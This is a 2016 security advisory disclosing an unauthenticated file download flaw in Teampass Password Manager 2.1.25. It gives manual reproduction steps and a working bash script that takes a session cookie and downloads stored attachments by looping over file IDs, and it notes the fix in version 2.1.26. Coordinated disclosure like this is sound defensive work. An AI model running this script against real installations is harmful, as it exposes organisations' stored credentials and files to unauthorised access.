Document Title:
===============
Teampass v2.1.25 - Arbitrary File Download Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1843


Release Date:
=============
2016-05-17


Vulnerability Laboratory ID (VL-ID):
====================================
1843


Common Vulnerability Scoring System:
====================================
8.1


Product & Service Introduction:
===============================
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a 
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords 
access depending on the user’s role. 

(Copy of the Homepage:  http://teampass.net/  )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an arbitrary file download vulnerability in the Teampass Password Manager v2.1.25 web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-11: Researcher Notification & Coordination (Peter Kok)
2016-05:12 Vendor Notification (Teampass Security Team)
2016-05-13: Vendor Response/Feedback (Teampass Security Team)
2016-05-15: Vendor Fix/Patch (Teampass Developer Team)
2016-05-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nils Laumaillé
Product: Teampass Password Manager - Online Service (Web-Application) 2.1.25


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
An arbitrary file download web vulnerability has been discovered in the Teampass Password Manager v2.1.25 web-application.
The arbitrary file download vulnerability allows remote attackers to unauthorized download files via GET method request.

The web vulnerability is located in the `downloadFile.php` file. Remote attackers are able to download internal uploaded 
files without any authentication. The web vulnerability can be exploited by remote attackers without user interaction.
The issue is located on the application-side of the web-application and the request method to access is GET.

The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.1.
Exploitation of the arbitrary file download vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the arbitrary file download web vulnerability results in unauthorized file access and information disclosure.

Request Method(s):
          [+] GET

Vulnerable File(s):
          [+] downloadFile.php

Vulnerable Parameter(s):
          [+] fileid


Proof of Concept (PoC):
=======================
The arbitrary file download web vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reprodcue the vulnerability ...
1. Open a browser and visit https://your.teampass.installation/sources/downloadFile.php which will display the message "Hacking attempt..."
2. Get a cookie by visiting the login page https://your.teampass.installation/, you don't have to authenticate only visit this page
3. Again visit https://your.teampass.installation/sources/downloadFile.php, now that the cookie is set there is no "Hacking attempt..." message

Files which are attached to items created in teampass can now be downloaded with the url https://your.teampass.installation/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=1
Just change the fileid in the url to download different stored files

PoC: Exploit
#!/bin/bash
COOKIE=/tmp/teampass.cookie
if [ ! "$1" ]
then
        echo "Usage: $0 [url]"
        exit 0
fi
#Get a valid cookie
curl -c $COOKIE -s "$1" >/dev/null
#get stored files with fileid 1 through 100
for i in $(seq 1 100)
do
        curl -b $COOKIE "$1/sources/downloadFile.php?name=lol&pathIsFiles=0&fileid=$i" -s -o file-$i
        if [ -s "file-$i" ]
        then
        #display the filetype
                file file-$i
        else
                #remove file if empty
                rm -f file-$i
        fi
done
rm -f $COOKIE
exit 0


Solution - Fix & Patch:
=======================
The arbitrary file download vulnerability can be patched by denying access to the `downloadFile.php` without authentication.

Note: The manufacturer fixed the vulnerability and an update is available for download in version 2.1.26.
URL: http://teampass.net/2016-05-13-release-2.1.26


Security Risk:
==============
The security risk of the arbitrary file download web vulnerability in the Teampass Password Manager web-application is estimated as high. (CVSS 8.1)


Credits & Authors:
==================
Peter Kok -  [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]


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=========================
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